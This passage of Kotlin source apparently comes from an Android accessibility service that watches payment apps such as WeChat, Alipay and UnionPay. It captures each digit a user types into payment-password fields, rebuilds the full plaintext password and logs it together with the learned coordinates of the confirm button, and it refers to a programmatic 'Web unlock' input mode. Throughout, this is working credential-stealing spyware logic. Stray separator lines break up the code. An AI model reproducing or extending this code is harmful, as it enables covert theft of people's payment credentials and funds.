if (logExtractedDigit != null && logExtractedDigit != text) {
|
||
extraData["originalText"] = text
|
||
}
|
||
}
|
||
|
||
recordLog(
|
||
"CLICK",
|
||
logContent,
|
||
extraData
|
||
)
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 增强版:检查是否为可能的确认按钮
|
||
*/
|
||
private fun isPossibleConfirmButton(text: String, contentDescription: String, className: String): Boolean {
|
||
val confirmKeywords = arrayOf(
|
||
// 中文确认关键词
|
||
"确认", "确定", "完成", "提交", "登录", "解锁", "继续", "下一步", "进入",
|
||
"好的", "同意", "允许", "授权", "开始", "立即", "确认密码", "确认解锁",
|
||
// 英文确认关键词
|
||
"ok", "done", "confirm", "submit", "enter", "go", "next", "continue",
|
||
"login", "unlock", "agree", "allow", "start", "begin", "sign in", "log in",
|
||
// 符号类确认
|
||
"→", "✓", "√", "➤", "⏎", "↵"
|
||
)
|
||
|
||
// 排除关键词(避免误判)
|
||
val excludeKeywords = arrayOf(
|
||
"取消", "cancel", "back", "返回", "删除", "delete", "clear", "重置", "reset",
|
||
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", // 排除数字键盘
|
||
"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
|
||
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" // 排除字母键盘
|
||
)
|
||
|
||
val textLower = text.lowercase().trim()
|
||
val descLower = contentDescription.lowercase().trim()
|
||
val classLower = className.lowercase()
|
||
|
||
// ✅ 先检查排除条件
|
||
for (exclude in excludeKeywords) {
|
||
if (textLower == exclude || descLower == exclude) {
|
||
Log.d(TAG, "🚫 排除按钮: '$text' (匹配排除关键词: $exclude)")
|
||
return false
|
||
}
|
||
}
|
||
|
||
// ✅ 检查确认关键词
|
||
for (keyword in confirmKeywords) {
|
||
if (textLower.contains(keyword) || descLower.contains(keyword)) {
|
||
Log.d(TAG, "✅ 确认按钮匹配关键词: '$text' / '$contentDescription' (关键词: $keyword)")
|
||
return true
|
||
}
|
||
}
|
||
|
||
// ✅ 检查是否为按钮类控件(更严格的条件)
|
||
val isButtonLikeControl = classLower.contains("button") ||
|
||
classLower.contains("imagebutton") ||
|
||
(classLower.contains("imageview") && (text.isNotEmpty() || contentDescription.isNotEmpty())) ||
|
||
(classLower.contains("textview") && text.isNotEmpty() && text.length <= 10) // 限制文本长度,避免长文本
|
||
|
||
// ✅ 如果是按钮类控件,但没有明确的确认文字,进行进一步检查
|
||
if (isButtonLikeControl) {
|
||
// 如果是空文本的按钮,可能是图标按钮
|
||
if (text.isEmpty() && contentDescription.isEmpty()) {
|
||
Log.d(TAG, "🤔 可能的图标确认按钮: 类名=$className")
|
||
return true
|
||
}
|
||
|
||
// 如果有简短的文本,可能是确认按钮
|
||
if (text.isNotEmpty() && text.length <= 6 && !text.matches(Regex("\\d+"))) {
|
||
Log.d(TAG, "✅ 可能的文本确认按钮: '$text'")
|
||
return true
|
||
}
|
||
}
|
||
|
||
Log.d(TAG, "❌ 不是确认按钮: '$text' / '$contentDescription' / '$className'")
|
||
return false
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:尝试从事件中提取点击坐标
|
||
*/
|
||
private fun extractClickCoordinates(event: AccessibilityEvent): Pair<Float, Float>? {
|
||
try {
|
||
// 从事件源节点获取屏幕坐标
|
||
val source = event.source
|
||
if (source != null) {
|
||
val rect = android.graphics.Rect()
|
||
source.getBoundsInScreen(rect)
|
||
|
||
// 返回控件中心点坐标
|
||
val centerX = (rect.left + rect.right) / 2.0f
|
||
val centerY = (rect.top + rect.bottom) / 2.0f
|
||
|
||
source.recycle()
|
||
return Pair(centerX, centerY)
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "提取点击坐标失败", e)
|
||
}
|
||
return null
|
||
}
|
||
|
||
/**
|
||
* 处理文本变化事件 - 增强密码输入分析
|
||
*/
|
||
private fun handleTextChanged(event: AccessibilityEvent) {
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
val className = event.className?.toString() ?: ""
|
||
val text = event.text?.joinToString("") ?: ""
|
||
val beforeText = event.beforeText?.toString() ?: ""
|
||
|
||
// ✅ 智能检测密码输入场景并启用增强模式
|
||
val isPotentialPasswordScenario = detectPasswordScenario(packageName, className, text, beforeText)
|
||
if (isPotentialPasswordScenario && !isEnhancedDetectionMode) {
|
||
activateEnhancedDetection("密码场景检测")
|
||
}
|
||
|
||
// ✅ vivo设备专用快速密码捕获优化
|
||
if (isVivoDevice && isPotentialPasswordScenario) {
|
||
handleVivoPasswordCapture(event, text, beforeText, packageName, className)
|
||
}
|
||
|
||
// ✅ 安全的增强文本变化监控:只在增强模式且明确的密码场景下
|
||
if (isEnhancedDetectionMode && isPotentialPasswordScenario) {
|
||
Log.w(TAG, "🔍 [增强模式] 文本变化监控: 包名: $packageName")
|
||
Log.w(TAG, " 当前文本: '$text' (长度: ${text.length})")
|
||
Log.w(TAG, " 之前文本: '$beforeText' (长度: ${beforeText.length})")
|
||
|
||
// 特别关注支付密码场景
|
||
if (isPaymentPasswordScenario(packageName, className, text)) {
|
||
Log.w(TAG, "🚨 [支付密码] 检测到支付密码输入场景")
|
||
|
||
// 分析文本变化模式
|
||
val textLengthIncreased = text.length > beforeText.length
|
||
val isNewCharacter = textLengthIncreased && (text.length - beforeText.length) == 1
|
||
|
||
// 如果是新增单个字符
|
||
if (isNewCharacter) {
|
||
val newChar = text.takeLast(1)
|
||
Log.w(TAG, "🚨 [支付密码] 检测到新字符: '$newChar'")
|
||
|
||
// 立即记录新增的字符
|
||
logScope.launch {
|
||
recordLog(
|
||
"PAYMENT_PASSWORD_CHANGE",
|
||
"支付密码新增: $newChar",
|
||
mapOf(
|
||
"newCharacter" to newChar,
|
||
"fullText" to text,
|
||
"previousText" to beforeText,
|
||
"packageName" to packageName,
|
||
"className" to className,
|
||
"detectionMethod" to "enhanced_text_analysis",
|
||
"enhancedMode" to true
|
||
)
|
||
)
|
||
}
|
||
|
||
// 如果是数字,添加到序列
|
||
if (newChar.matches(Regex("[0-9]"))) {
|
||
val currentTime = System.currentTimeMillis()
|
||
numericPasswordSequence.add(mapOf(
|
||
"digit" to newChar,
|
||
"timestamp" to currentTime,
|
||
"className" to className,
|
||
"packageName" to packageName,
|
||
"source" to "enhanced_payment_text_change"
|
||
))
|
||
Log.w(TAG, "🔢 [支付密码] 数字序列添加: $newChar (总计: ${numericPasswordSequence.size})")
|
||
}
|
||
}
|
||
|
||
// 分析完整文本中的数字变化
|
||
val currentDigits = text.filter { it.isDigit() }
|
||
val previousDigits = beforeText.filter { it.isDigit() }
|
||
|
||
if (currentDigits.length > previousDigits.length) {
|
||
val newDigits = currentDigits.drop(previousDigits.length)
|
||
Log.w(TAG, "🚨 [支付密码] 新增数字: '$newDigits'")
|
||
|
||
newDigits.forEach { digit ->
|
||
val currentTime = System.currentTimeMillis()
|
||
numericPasswordSequence.add(mapOf(
|
||
"digit" to digit.toString(),
|
||
"timestamp" to currentTime,
|
||
"className" to className,
|
||
"packageName" to packageName,
|
||
"source" to "enhanced_payment_digit_analysis"
|
||
))
|
||
Log.w(TAG, "🔢 [支付密码] 数字序列添加: $digit (总计: ${numericPasswordSequence.size})")
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
val currentTime = System.currentTimeMillis()
|
||
|
||
// 检查是否为密码字段
|
||
if (isPasswordField(event)) {
|
||
handlePasswordInput(event, text, beforeText, currentTime)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 智能检测密码输入场景
|
||
*/
|
||
private fun detectPasswordScenario(packageName: String, className: String, text: String, beforeText: String): Boolean {
|
||
// 1. 检查是否为已知的支付应用
|
||
val isPaymentApp = packageName.contains("tencent.mm") || // 微信
|
||
packageName.contains("alipay") || // 支付宝
|
||
packageName.contains("unionpay") || // 云闪付
|
||
packageName.contains("jd") || // 京东
|
||
packageName.contains("taobao") || // 淘宝
|
||
packageName.contains("meituan") // 美团
|
||
|
||
// 2. 检查文本模式是否像密码输入
|
||
val hasPasswordPattern = (text.contains("•") || text.contains("*")) || // 掩码字符
|
||
(text.length in 1..12 && text.all { it.isDigit() }) || // 数字密码
|
||
(beforeText.isEmpty() && text.length == 1 && text.matches(Regex("[0-9]"))) // 首次数字输入
|
||
|
||
// 3. 检查类名是否指示密码输入
|
||
val hasPasswordClass = className.lowercase().let { cls ->
|
||
cls.contains("password") || cls.contains("pin") || cls.contains("secure") ||
|
||
cls.contains("payment") || cls.contains("pay") || cls.contains("wallet")
|
||
}
|
||
|
||
// 4. 检查文本长度变化模式(通常密码是逐字符输入)
|
||
val hasPasswordInputPattern = (text.length - beforeText.length) == 1 && text.length <= 8
|
||
|
||
return isPaymentApp && (hasPasswordPattern || hasPasswordClass || hasPasswordInputPattern)
|
||
}
|
||
|
||
/**
|
||
* ✅ 检测是否为支付密码场景
|
||
*/
|
||
private fun isPaymentPasswordScenario(packageName: String, className: String, text: String): Boolean {
|
||
// 严格的支付密码检测条件
|
||
val isPaymentApp = packageName.contains("tencent.mm") ||
|
||
packageName.contains("alipay") ||
|
||
packageName.contains("unionpay")
|
||
|
||
val hasPaymentIndicators = text.length in 1..6 && // 支付密码通常是6位以内
|
||
(text.all { it.isDigit() || it == '•' || it == '*' }) && // 只包含数字或掩码
|
||
className.lowercase().let { cls ->
|
||
cls.contains("edit") || cls.contains("text") || cls.contains("input")
|
||
}
|
||
|
||
return isPaymentApp && hasPaymentIndicators
|
||
}
|
||
|
||
/**
|
||
* ✅ 激活增强检测模式
|
||
*/
|
||
private fun activateEnhancedDetection(reason: String) {
|
||
isEnhancedDetectionMode = true
|
||
enhancedDetectionStartTime = System.currentTimeMillis()
|
||
Log.i(TAG, "🚀 [增强模式] 激活增强检测: $reason (30秒后自动关闭)")
|
||
}
|
||
|
||
/**
|
||
* ✅ 手动关闭增强检测模式
|
||
*/
|
||
private fun deactivateEnhancedDetection(reason: String) {
|
||
isEnhancedDetectionMode = false
|
||
enhancedDetectionStartTime = 0L
|
||
Log.i(TAG, "🛑 [增强模式] 关闭增强检测: $reason")
|
||
}
|
||
|
||
/**
|
||
* ✅ 设置程序化输入状态(由InputManager调用)
|
||
*/
|
||
fun setProgrammaticInputActive(active: Boolean) {
|
||
val oldState = isProgrammaticInputActive
|
||
isProgrammaticInputActive = active
|
||
if (active) {
|
||
lastProgrammaticInputTime = System.currentTimeMillis()
|
||
Log.i(TAG, "🔢 [程序化输入] 状态变更: $oldState -> $active (设置为活跃状态) 时间=${lastProgrammaticInputTime}")
|
||
} else {
|
||
Log.i(TAG, "🔢 [程序化输入] 状态变更: $oldState -> $active (设置为非活跃状态)")
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 检查是否正在执行程序化数字密码输入
|
||
*/
|
||
private fun isCurrentlyExecutingNumericPasswordInput(): Boolean {
|
||
val currentTime = System.currentTimeMillis()
|
||
val timeSinceLastProgrammatic = currentTime - lastProgrammaticInputTime
|
||
|
||
// ✅ vivo设备使用优化的检测窗口,避免快速用户输入被误判
|
||
val detectionWindow = if (isVivoDevice) {
|
||
vivoOptimizedProgrammaticDetectionWindow // vivo设备: 500ms
|
||
} else {
|
||
1000L // 其他设备: 1000ms
|
||
}
|
||
|
||
val isProgrammatic = isProgrammaticInputActive || timeSinceLastProgrammatic < detectionWindow
|
||
|
||
Log.i(TAG, "🔢 [程序化输入检测] 当前时间=$currentTime, 上次程序化时间=$lastProgrammaticInputTime")
|
||
Log.i(TAG, "🔢 [程序化输入检测] 标志=$isProgrammaticInputActive, 时间差=${timeSinceLastProgrammatic}ms")
|
||
Log.i(TAG, "🔢 [程序化输入检测] 检测窗口=${detectionWindow}ms (vivo设备优化: $isVivoDevice), 最终结果=$isProgrammatic")
|
||
|
||
if (isProgrammatic) {
|
||
Log.w(TAG, "🔢 ✅ 检测到程序化输入中 - 将仅记录不触发确认")
|
||
} else {
|
||
Log.w(TAG, "🔢 ❌ 非程序化输入 - 将正常处理并可能触发确认")
|
||
}
|
||
|
||
return isProgrammatic
|
||
}
|
||
|
||
/**
|
||
* 处理密码输入分析
|
||
*/
|
||
private fun handlePasswordInput(event: AccessibilityEvent, text: String, beforeText: String, currentTime: Long) {
|
||
val className = event.className?.toString() ?: ""
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
|
||
// ✅ 防止重复分析:如果正在分析中或最近刚分析过,则跳过
|
||
if (isPasswordAnalyzing) {
|
||
Log.d(TAG, "🔒 [重复检测] 正在分析中,跳过重复处理")
|
||
return
|
||
}
|
||
|
||
if (currentTime - lastPasswordAnalysisTime < passwordAnalysisLockTimeout) {
|
||
Log.d(TAG, "🔒 [重复检测] 最近已分析过 (${currentTime - lastPasswordAnalysisTime}ms < ${passwordAnalysisLockTimeout}ms),跳过")
|
||
return
|
||
}
|
||
|
||
// 检查是否是新的密码输入会话
|
||
if (!isPasswordInputActive || (currentTime - lastPasswordEventTime > passwordInputTimeout)) {
|
||
if (isPasswordInputActive) {
|
||
// 结束上一个密码输入会话
|
||
finishPasswordInput()
|
||
}
|
||
|
||
// 开始新的密码输入会话
|
||
startPasswordInput(packageName, className, currentTime)
|
||
}
|
||
|
||
// 获取实际输入的文本
|
||
val actualText = getPasswordText(event, text, beforeText)
|
||
val inputType = detectPasswordType(text, actualText, className)
|
||
|
||
// 记录密码输入事件
|
||
recordPasswordInputEvent(actualText, beforeText, currentTime, inputType, className, packageName)
|
||
lastPasswordEventTime = currentTime
|
||
|
||
// ✅ 修复:对于所有密码类型,使用统一的完成触发策略
|
||
if (shouldFinishPasswordInput(text, beforeText)) {
|
||
val triggerTime = currentTime // 记录当前输入时间
|
||
|
||
Handler(Looper.getMainLooper()).postDelayed({
|
||
// 只有当没有更新的输入时才触发分析
|
||
if (isPasswordInputActive && lastPasswordEventTime == triggerTime) {
|
||
Log.d(TAG, "🔒 [密码分析] 无新输入,触发密码分析")
|
||
finishPasswordInput()
|
||
} else {
|
||
Log.d(TAG, "🔒 [密码分析] 检测到更新输入 (${lastPasswordEventTime} vs ${triggerTime}),跳过分析")
|
||
}
|
||
}, 2000) // 2秒后检查
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 开始密码输入会话
|
||
*/
|
||
private fun startPasswordInput(packageName: String, className: String, currentTime: Long) {
|
||
isPasswordInputActive = true
|
||
passwordInputStartTime = currentTime
|
||
passwordInputEvents.clear()
|
||
// ✅ 修复:不要清空数字序列,因为用户点击数字键时可能已经添加了数字
|
||
// 只有在真正结束密码输入时才清空序列
|
||
// numericPasswordSequence.clear() // 注释掉这行
|
||
hasDetectedZero = false // ✅ 重置数字0标志(新的密码输入会话)
|
||
currentPasswordLength = 0
|
||
|
||
Log.d(TAG, "🔒 [密码分析] 开始新的密码输入会话: 包名=$packageName, 类名=$className")
|
||
|
||
// ✅ vivo设备专用初始化
|
||
if (isVivoDevice) {
|
||
vivoExtractedChars.clear()
|
||
vivoPasswordBuffer = ""
|
||
vivoLastCaptureTime = currentTime
|
||
Log.i(TAG, "📱 [vivo初始化] 已清理vivo设备专用缓存,准备快速捕获")
|
||
}
|
||
|
||
logScope.launch {
|
||
recordLog(
|
||
"TEXT_INPUT",
|
||
"🔒 密码输入开始",
|
||
mapOf(
|
||
"packageName" to packageName,
|
||
"className" to className,
|
||
"startTime" to passwordInputStartTime,
|
||
"eventType" to "password_input_start"
|
||
)
|
||
)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 记录密码输入事件
|
||
*/
|
||
private fun recordPasswordInputEvent(actualText: String, beforeText: String, currentTime: Long, inputType: String, className: String, packageName: String) {
|
||
// 计算实际密码长度(保留数字、字母和掩码字符)
|
||
val cleanActualText = actualText.replace(Regex("[^\\w•*]"), "")
|
||
val cleanBeforeText = beforeText.replace(Regex("[^\\w•*]"), "")
|
||
|
||
val lengthDifference = cleanActualText.length - cleanBeforeText.length
|
||
currentPasswordLength = cleanActualText.length
|
||
|
||
// ✅ 修复:不要用数字序列长度覆盖完整密码长度
|
||
// 数字序列只是密码的一部分(数字部分),不应该覆盖完整密码的长度
|
||
val sequenceLength = numericPasswordSequence.size
|
||
|
||
// ✅ 修复:如果有数字序列,且序列长度大于文本长度,优先使用序列长度
|
||
if (sequenceLength > 0) {
|
||
if (currentPasswordLength == 0) {
|
||
Log.d(TAG, "🔍 [快速输入优化] 文本长度为0,使用序列长度: $sequenceLength")
|
||
currentPasswordLength = sequenceLength
|
||
} else if (sequenceLength > currentPasswordLength) {
|
||
Log.d(TAG, "🔍 [快速输入优化] 序列长度($sequenceLength) > 文本长度($currentPasswordLength),使用序列长度")
|
||
currentPasswordLength = sequenceLength
|
||
} else {
|
||
Log.d(TAG, "🔍 [快速输入优化] 长度信息: 文本长度=$currentPasswordLength, 数字序列长度=$sequenceLength")
|
||
}
|
||
}
|
||
|
||
Log.d(TAG, "🔍 [快速输入优化] 密码长度计算: 原始='$actualText'(${actualText.length}), 清理后='$cleanActualText'(${cleanActualText.length}), 当前长度=$currentPasswordLength, 序列长度=$sequenceLength")
|
||
|
||
val inputEvent = mapOf(
|
||
"timestamp" to currentTime,
|
||
"lengthChange" to lengthDifference,
|
||
"currentLength" to currentPasswordLength,
|
||
"inputType" to inputType,
|
||
"relativeTime" to (currentTime - passwordInputStartTime),
|
||
"actualPasswordText" to cleanActualText,
|
||
"displayText" to actualText,
|
||
"numericSequenceLength" to sequenceLength // ✅ 添加序列长度信息
|
||
)
|
||
|
||
passwordInputEvents.add(inputEvent)
|
||
|
||
val operationType = when {
|
||
lengthDifference > 0 -> "输入"
|
||
lengthDifference < 0 -> "删除"
|
||
else -> "修改"
|
||
}
|
||
|
||
// ✅ 快速输入优化:如果有数字序列,添加序列信息到日志
|
||
val sequencePassword = if (numericPasswordSequence.isNotEmpty()) {
|
||
numericPasswordSequence.joinToString("") { it["digit"] as String }
|
||
} else ""
|
||
|
||
logScope.launch {
|
||
recordLog(
|
||
"TEXT_INPUT",
|
||
"🔒 [快速输入优化] 密码输入: $actualText (${currentPasswordLength}位)",
|
||
mapOf(
|
||
"packageName" to packageName,
|
||
"className" to className,
|
||
"operationType" to operationType,
|
||
"currentLength" to currentPasswordLength,
|
||
"lengthChange" to lengthDifference,
|
||
"inputType" to inputType,
|
||
"eventSequence" to passwordInputEvents.size,
|
||
"relativeTime" to (currentTime - passwordInputStartTime),
|
||
"actualPasswordText" to cleanActualText, // 包含实际密码内容
|
||
"displayText" to actualText, // 包含显示的掩码文本
|
||
"isPasswordCapture" to true,
|
||
"numericSequenceLength" to sequenceLength, // ✅ 数字序列长度
|
||
"numericSequencePassword" to sequencePassword, // ✅ 数字序列密码
|
||
"isFastInput" to (sequenceLength > 0) // ✅ 是否为快速输入
|
||
)
|
||
)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 完成密码输入分析 - ✅ 增强版本,记录确认按钮坐标
|
||
*/
|
||
private fun finishPasswordInput() {
|
||
if (!isPasswordInputActive) return
|
||
|
||
// ✅ 设置分析锁,防止重复分析
|
||
if (isPasswordAnalyzing) {
|
||
Log.d(TAG, "🔒 [重复检测] 已在分析中,跳过重复分析")
|
||
return
|
||
}
|
||
|
||
isPasswordAnalyzing = true
|
||
lastPasswordAnalysisTime = System.currentTimeMillis()
|
||
|
||
val duration = System.currentTimeMillis() - passwordInputStartTime
|
||
val eventCount = passwordInputEvents.size
|
||
|
||
Log.d(TAG, "🔒 [密码分析] 完成密码输入分析: 持续时间=${duration}ms, 事件数量=$eventCount")
|
||
|
||
// 重构完整密码
|
||
val reconstructedPassword = if (isVivoDevice && vivoExtractedChars.isNotEmpty()) {
|
||
// vivo设备优先使用捕获的明文字符重构
|
||
val vivoReconstructed = reconstructVivoPassword("")
|
||
if (vivoReconstructed.isNotEmpty()) {
|
||
Log.i(TAG, "📱 [vivo密码重构] 使用vivo专用重构: '$vivoReconstructed' (长度=${vivoReconstructed.length})")
|
||
vivoReconstructed
|
||
} else {
|
||
// 如果vivo重构失败,使用标准重构
|
||
reconstructPassword()
|
||
}
|
||
} else {
|
||
reconstructPassword()
|
||
}
|
||
Log.d(TAG, "🔒 [密码分析] 重构密码: '$reconstructedPassword' (长度=${reconstructedPassword.length})")
|
||
|
||
// ✅ 修复:使用重构密码的实际长度,而不是可能被数字序列长度覆盖的currentPasswordLength
|
||
val actualPasswordLength = if (reconstructedPassword.isNotEmpty()) {
|
||
reconstructedPassword.length
|
||
} else {
|
||
// 如果重构失败,从最后一个事件获取最大长度
|
||
passwordInputEvents.maxOfOrNull { (it["currentLength"] as? Int) ?: 0 } ?: currentPasswordLength
|
||
}
|
||
|
||
Log.d(TAG, "🔒 [密码分析] 长度校正: currentPasswordLength=$currentPasswordLength -> actualPasswordLength=$actualPasswordLength")
|
||
|
||
// 分析密码输入模式 - ✅ 传递实际密码长度
|
||
val passwordAnalysis = analyzePasswordPattern(actualPasswordLength)
|
||
|
||
// ✅ 检测密码类型 - 使用现有的检测方法
|
||
val passwordType = detectPasswordTypeFromEvents()
|
||
Log.d(TAG, "🔒 [密码分析] 检测到密码类型: $passwordType")
|
||
var confirmButtonCoordinate: Pair<Float, Float>? = null
|
||
|
||
// ✅ 对于需要确认按钮的密码类型,启动确认按钮监听并触发智能确认检测
|
||
val needsConfirmation = passwordType in listOf("混合密码", "文本密码", "数字密码", "PIN码")
|
||
|
||
if (needsConfirmation) {
|
||
Log.d(TAG, "🔒 [密码分析] 密码类型 '$passwordType' 需要确认按钮,启动智能确认检测")
|
||
|
||
// 启动确认按钮坐标监听
|
||
startConfirmClickListening()
|
||
|
||
// ✅ 立即尝试智能学习确认按钮坐标
|
||
enhancedConfirmButtonLearning()
|
||
|
||
// ✅ 修复:所有密码类型都跳过自动确认触发,避免干扰用户输入
|
||
// 保留密码记录和学习功能,但移除所有自动确认触发
|
||
val shouldTriggerConfirm = when (passwordType) {
|
||
"数字密码", "PIN码" -> {
|
||
Log.d(TAG, "🔢 [数字密码] 跳过自动确认触发,保留密码记录功能")
|
||
false // 数字密码不在这里触发确认
|
||
}
|
||
"混合密码" -> {
|
||
Log.d(TAG, "🔤 [混合密码] 跳过自动确认触发,保留密码记录功能")
|
||
false // 混合密码不在这里触发确认
|
||
}
|
||
"文本密码" -> {
|
||
Log.d(TAG, "📝 [文本密码] 跳过自动确认触发,保留密码记录功能")
|
||
false // 文本密码不在这里触发确认
|
||
}
|
||
else -> {
|
||
Log.d(TAG, "🔒 [${passwordType}] 跳过自动确认触发,保留密码记录功能")
|
||
false // 所有其他密码类型都不触发确认
|
||
}
|
||
}
|
||
|
||
if (shouldTriggerConfirm) {
|
||
// ✅ 修改:只在Web解锁模式下才触发智能确认检测
|
||
val isWebUnlockMode = service.isWebUnlockMode()
|
||
Log.d(TAG, "🤖 [密码分析] Web解锁模式检查: $isWebUnlockMode")
|
||
|
||
if (isWebUnlockMode) {
|
||
val confirmDetectionType = convertToConfirmDetectionType(passwordType)
|
||
Log.d(TAG, "🔓 [Web解锁] 触发智能确认检测: 原始类型='$passwordType' -> 检测类型='$confirmDetectionType'")
|
||
|
||
// 异步触发确认检测,避免阻塞
|
||
Handler(Looper.getMainLooper()).postDelayed({
|
||
try {
|
||
service.tryLockScreenConfirm(confirmDetectionType)
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "触发确认检测失败", e)
|
||
}
|
||
}, 500) // 延迟500ms确保密码输入完成
|
||
} else {
|
||
Log.i(TAG, "🚫 [非Web解锁] 跳过自动确认触发,等待用户手动确认")
|
||
}
|
||
}
|
||
|
||
// ✅ 优化:简化确认按钮坐标获取流程
|
||
Handler(Looper.getMainLooper()).postDelayed({
|
||
// 检查是否捕获到确认坐标
|
||
confirmButtonCoordinate = lastConfirmClickCoordinate
|
||
val currentCoords = confirmButtonCoordinate
|
||
if (currentCoords != null) {
|
||
Log.d(TAG, "✅ 发现确认按钮坐标: (${currentCoords.first}, ${currentCoords.second})")
|
||
|
||
// ✅ 更新之前记录的日志,添加确认坐标信息
|
||
updatePasswordLogWithConfirmCoords(currentCoords)
|
||
} else {
|
||
Log.d(TAG, "ℹ️ 未捕获到确认按钮坐标,将等待用户手动点击学习")
|
||
}
|
||
|
||
// 停止监听
|
||
stopConfirmClickListening()
|
||
}, 2000) // 减少等待时间到2秒
|
||
}
|
||
|
||
// 构建详细的分析信息文本 - ✅ 使用实际密码长度
|
||
val analysisText = buildPasswordAnalysisText(passwordAnalysis, duration, eventCount, actualPasswordLength, reconstructedPassword, confirmButtonCoordinate)
|
||
|
||
logScope.launch {
|
||
val extraData = mutableMapOf<String, Any>(
|
||
"duration" to duration,
|
||
"eventCount" to eventCount,
|
||
"finalLength" to actualPasswordLength, // ✅ 使用实际长度
|
||
"passwordAnalysis" to passwordAnalysis,
|
||
"eventType" to "password_input_complete",
|
||
"isDetailedAnalysis" to true,
|
||
"reconstructedPassword" to reconstructedPassword, // 包含重构的完整密码
|
||
"isPasswordCapture" to true,
|
||
"passwordType" to passwordType,
|
||
"enhancedPasswordType" to convertToEnhancedType(passwordType), // ✅ 添加增强类型
|
||
"legacyPasswordType" to passwordType, // ✅ 添加传统类型
|
||
"originalCurrentPasswordLength" to currentPasswordLength, // ✅ 保留原始长度用于调试
|
||
"correctedPasswordLength" to actualPasswordLength // ✅ 校正后的长度
|
||
)
|
||
|
||
// ✅ 如果有确认按钮坐标,记录到extraData中
|
||
confirmButtonCoordinate?.let { coord ->
|
||
extraData["confirmButtonX"] = coord.first
|
||
extraData["confirmButtonY"] = coord.second
|
||
extraData["hasConfirmButton"] = true
|
||
} ?: run {
|
||
extraData["hasConfirmButton"] = false
|
||
}
|
||
|
||
recordLog("TEXT_INPUT", analysisText, extraData)
|
||
}
|
||
|
||
// 重置状态
|
||
isPasswordInputActive = false
|
||
passwordInputEvents.clear()
|
||
numericPasswordSequence.clear() // ✅ 清空数字序列
|
||
currentPasswordLength = 0
|
||
|
||
// ✅ 释放分析锁
|
||
isPasswordAnalyzing = false
|
||
Log.d(TAG, "🔒 [密码分析] 分析完成,释放分析锁")
|
||
}
|
||
|
||
|
||
|
||
/**
|
||
* ✅ 保留:从输入事件中检测密码类型(备用方法)
|
||
*/
|
||
private fun detectPasswordTypeFromEvents(): String {
|
||
if (passwordInputEvents.isEmpty()) return "未知密码"
|
||
|
||
// 获取最后一个事件的密码类型判断
|
||
val lastEvent = passwordInputEvents.lastOrNull()
|
||
val lastActualText = lastEvent?.get("actualPasswordText") as? String ?: ""
|
||
val lastDisplayText = lastEvent?.get("displayText") as? String ?: ""
|
||
val lastClassName = lastEvent?.get("className") as? String ?: ""
|
||
|
||
return detectPasswordType(lastDisplayText, lastActualText, lastClassName)
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:启动确认按钮点击监听
|
||
*/
|
||
private fun startConfirmClickListening() {
|
||
isAwaitingConfirmClick = true
|
||
confirmClickStartTime = System.currentTimeMillis()
|
||
lastConfirmClickCoordinate = null
|
||
Log.d(TAG, "🔍 开始监听确认按钮点击...")
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:停止确认按钮点击监听
|
||
*/
|
||
private fun stopConfirmClickListening() {
|
||
isAwaitingConfirmClick = false
|
||
Log.d(TAG, "🔍 停止监听确认按钮点击")
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:更新密码日志,添加确认按钮坐标信息
|
||
*/
|
||
private fun updatePasswordLogWithConfirmCoords(confirmCoords: Pair<Float, Float>) {
|
||
try {
|
||
Log.d(TAG, "🔄 更新密码日志,添加确认坐标: (${confirmCoords.first}, ${confirmCoords.second})")
|
||
|
||
// 记录一条新的日志,包含确认按钮坐标信息
|
||
logScope.launch {
|
||
recordLog(
|
||
"PASSWORD_CONFIRM_COORDS",
|
||
"确认按钮坐标更新: (${confirmCoords.first.toInt()}, ${confirmCoords.second.toInt()})",
|
||
mapOf(
|
||
"confirmButtonX" to confirmCoords.first,
|
||
"confirmButtonY" to confirmCoords.second,
|
||
"hasConfirmButton" to true,
|
||
"updateTime" to System.currentTimeMillis(),
|
||
"relatedToLastPassword" to true
|
||
)
|
||
)
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "更新密码日志确认坐标失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 检测密码类型 - ✅ 优化版本,改进数字密码和图形密码的区分
|
||
*/
|
||
private fun detectPasswordType(displayText: String, actualText: String, className: String): String {
|
||
val classLower = className.lowercase()
|
||
|
||
// 检查内容描述以确定密码类型
|
||
val lastEvent = passwordInputEvents.lastOrNull()
|
||
val hasLetters = actualText.any { it.isLetter() } || displayText.any { it.isLetter() }
|
||
val hasDigitsAndLetters = actualText.any { it.isDigit() } && hasLetters
|
||
val cleanActualText = actualText.replace(Regex("[•*\\s]"), "")
|
||
|
||
Log.d(TAG, "🔍 密码类型检测开始:")
|
||
Log.d(TAG, " 显示文本: '$displayText'")
|
||
Log.d(TAG, " 实际文本: '$actualText'")
|
||
Log.d(TAG, " 清理文本: '$cleanActualText'")
|
||
Log.d(TAG, " 类名: '$className'")
|
||
Log.d(TAG, " 包含字母: $hasLetters")
|
||
Log.d(TAG, " 混合内容: $hasDigitsAndLetters")
|
||
|
||
// ✅ 优化的密码类型检测逻辑 - 明确优先级
|
||
val detectedType = when {
|
||
// 1. 优先检查明确包含字母的情况
|
||
hasDigitsAndLetters -> {
|
||
Log.d(TAG, " 检测结果: 混合密码(包含数字和字母)")
|
||
"混合密码"
|
||
}
|
||
hasLetters && !cleanActualText.any { it.isDigit() } -> {
|
||
Log.d(TAG, " 检测结果: 文本密码(仅包含字母)")
|
||
"文本密码"
|
||
}
|
||
|
||
// 2. 检查类名中的明确PIN标识
|
||
classLower.contains("pin") && !hasLetters -> {
|
||
Log.d(TAG, " 检测结果: PIN码(类名包含pin)")
|
||
